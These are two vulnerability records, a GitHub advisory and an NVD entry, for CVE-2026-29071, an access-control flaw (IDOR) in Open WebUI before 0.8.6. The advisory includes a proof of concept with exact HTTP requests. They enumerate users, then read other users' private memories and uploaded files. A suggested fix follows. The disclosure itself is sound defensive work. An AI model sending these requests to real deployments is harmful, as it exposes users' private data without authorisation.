{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.8.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-29071"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-27T15:35:49Z",
    "nvd_published_at": "2026-03-27T00:16:22Z",
    "severity": "LOW"
  },
  "details": "### Summary\nAny authenticated user can read other users\u0027 private memories via `/api/v1/retrieval/query/collection`\n\n### Details\n**Vulnerability 1: Missing authorization in collection querying**\n\nIn `backend/open_webui/routers/retrieval.py`, the `query_collection_handler` function accepts a list of `collection_names` but performs no ownership validation:\n\n```python\nasync def query_collection_handler(\n    request: Request,\n    form_data: QueryCollectionsForm,\n    user=Depends(get_verified_user),  # Only checks authentication, not authorization\n):\n```\n\nCollection names follow predictable patterns:\n- User files: `file-{FILE_UUID}`\n- User memories: `user-memory-{USER_UUID}` (requires Memory experimental feature)\n\n### PoC\n**Environment:** Open WebUI v0.8.3, default configuration.\n**Setup:**\n1. Register two users: admin (first user) and attacker (second user).\n2. As admin, upload a PDF document through chat.\n3. As admin, enable Memory (Settings \u2192 Personalization \u2192 Memory) and add some memories.\n\n**Exploitation \u2014 Step 1: Enumerate all users**\n\n```\nGET /api/v1/users/search HTTP/1.1\nHost: \u003ctarget\u003e\nAuthorization: Bearer \u003cattacker_token\u003e\n```\n\nResponse reveals all users including admin\u0027s UUID, email, and role:\n\n```json\n{\n  \"users\": [\n    {\n      \"id\": \"1e4756eb-b064-4781-8b06-4979bca59c8b\",\n      \"name\": \"user\",\n      \"email\": \"user@test.com\",\n      \"role\": \"user\"\n    },\n    {\n      \"id\": \"81d2f94a-3dfb-479c-af98-e29f0f40c4ba\",\n      \"name\": \"admin\",\n      \"email\": \"admin@test.com\",\n      \"role\": \"admin\"\n    }\n  ]\n}\n```\n\n\u003cimg width=\"1340\" height=\"731\" alt=\"1poc - users\" src=\"https://github.com/user-attachments/assets/46d1cb64-2f84-480e-b887-819008ddabc9\" /\u003e\n\n**Exploitation \u2014 Step 2: Read admin\u0027s memories**\n\nUsing the admin UUID obtained in Step 1, query their private memory collection:\n\n```\nPOST /api/v1/retrieval/query/collection HTTP/1.1\nHost: \u003ctarget\u003e\nAuthorization: Bearer \u003cattacker_token\u003e\nContent-Type: application/json\n\n{\n  \"collection_names\": [\"user-memory-\u003cadmin_UUID_from_step_1\u003e\"],\n  \"query\": \"test\"\n}\n```\n\nResponse returns admin\u0027s private memories:\n\n```json\n{\n  \"documents\": [[\"User is testing IDOR\", \"User - Mariusz, security researcher\"]]\n}\n```\n\n\u003cimg width=\"1285\" height=\"606\" alt=\"2poc - memory\" src=\"https://github.com/user-attachments/assets/eac7c129-dcad-4afd-9449-2ca93b19e082\" /\u003e\n\n**Note:** Step 2 requires the Memory experimental feature to be enabled. Steps 1 and 3 work on default configuration.\n\n**Exploitation \u2014 Step 3: Read admin\u0027s private file (Vulnerability 1)**\n\nFile collections use the pattern `file-{FILE_UUID}`. The file UUID must be obtained separately. Once known:\n\n```\nPOST /api/v1/retrieval/query/collection HTTP/1.1\nHost: \u003ctarget\u003e\nAuthorization: Bearer \u003cattacker_token\u003e\nContent-Type: application/json\n\n{\n  \"collection_names\": [\"file-\u003cfile_UUID\u003e\"],\n  \"query\": \"test\"\n}\n```\n\nResponse returns admin\u0027s private document content and full metadata:\n\n```json\n{\n  \"documents\": [[\"Test PDF  \\nabc   \\nbcd\"]],\n  \"metadatas\": [[{\n    \"name\": \"Test PDF.pdf\",\n    \"author\": \"Mariusz Maik\",\n    \"created_by\": \"81d2f94a-3dfb-479c-af98-e29f0f40c4ba\",\n    \"file_id\": \"243bee10-49ad-466f-884b-67b6b3d74968\"\n  }]]\n}\n```\n\n\u003cimg width=\"1413\" height=\"908\" alt=\"image\" src=\"https://github.com/user-attachments/assets/43041261-ec98-4f3f-8c26-a0c63ef18596\" /\u003e\n\n### Impact\n-  **Document theft:** Any authenticated user can read the full content and metadata of files uploaded by any other user, including admins.\n- **User enumeration:** All user UUIDs, emails, names, and roles are exposed to any authenticated user via `/api/v1/users/search`.\n- **Memory leakage:** When the Memory experimental feature is enabled, personal memories stored by users for LLM personalization can be read by any other user \u2014 directly contradicting the official documentation.\n- **No admin privileges required:** A regular user account is sufficient to exploit all of the above.\n\n### Suggested Fix\n\n**1. Add ownership validation in `/api/v1/retrieval/query/collection`:**\n\n```python\nasync def query_collection_handler(\n    request: Request,\n    form_data: QueryCollectionsForm,\n    user=Depends(get_verified_user),\n):\n    for collection_name in form_data.collection_names:\n        if collection_name.startswith(\"user-memory-\"):\n            owner_id = collection_name.replace(\"user-memory-\", \"\")\n            if owner_id != user.id and user.role != \"admin\":\n                raise HTTPException(status_code=403, detail=\"Access denied\")\n        elif collection_name.startswith(\"file-\"):\n            file_id = collection_name.replace(\"file-\", \"\")\n            # user_has_access_to_file \u2014 placeholder; verify file ownership\n            # e.g. check if created_by matches user.id\n            if not user_has_access_to_file(user.id, file_id):\n                raise HTTPException(status_code=403, detail=\"Access denied\")\n```\n\n**2. Restrict `/api/v1/users/search`** to admin-only or limit the fields returned to non-privileged users.\n\n### Disclosure\n\nAI was used to assist with writing this report. The vulnerability was identified and confirmed through hands-on testing on Open WebUI v0.8.3. All screenshots are from real testing.",
  "id": "GHSA-w9f8-gxf9-rhvw",
  "modified": "2026-03-27T15:35:49Z",
  "published": "2026-03-27T15:35:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-w9f8-gxf9-rhvw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29071"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI\u0027s Insecure Direct Object Reference (IDOR) allows access to other users\u0027 memories"
}

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:openwebui:open_webui:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "98042D01-E16B-45CE-9BBC-E5A6E2AA2370",
              "versionEndExcluding": "0.8.6",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to version 0.8.6, any authenticated user can read other users\u0027 private memories via `/api/v1/retrieval/query/collection`. Version 0.8.6 patches the issue."
    },
    {
      "lang": "es",
      "value": "Open WebUI es una plataforma de inteligencia artificial autoalojada dise\u00f1ada para operar completamente sin conexi\u00f3n. Antes de la versi\u00f3n 0.8.6, cualquier usuario autenticado puede leer las memorias privadas de otros usuarios a trav\u00e9s de \u0027/API/v1/retrieval/query/collection\u0027. La versi\u00f3n 0.8.6 corrige el problema."
    }
  ],
  "id": "CVE-2026-29071",
  "lastModified": "2026-04-01T16:09:53.443",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 3.1,
          "baseSeverity": "LOW",
          "confidentialityImpact": "LOW",
          "integrityImpact": "NONE",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 1.6,
        "impactScore": 1.4,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 4.3,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "NONE",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 1.4,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2026-03-27T00:16:22.983",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-w9f8-gxf9-rhvw"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-639"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}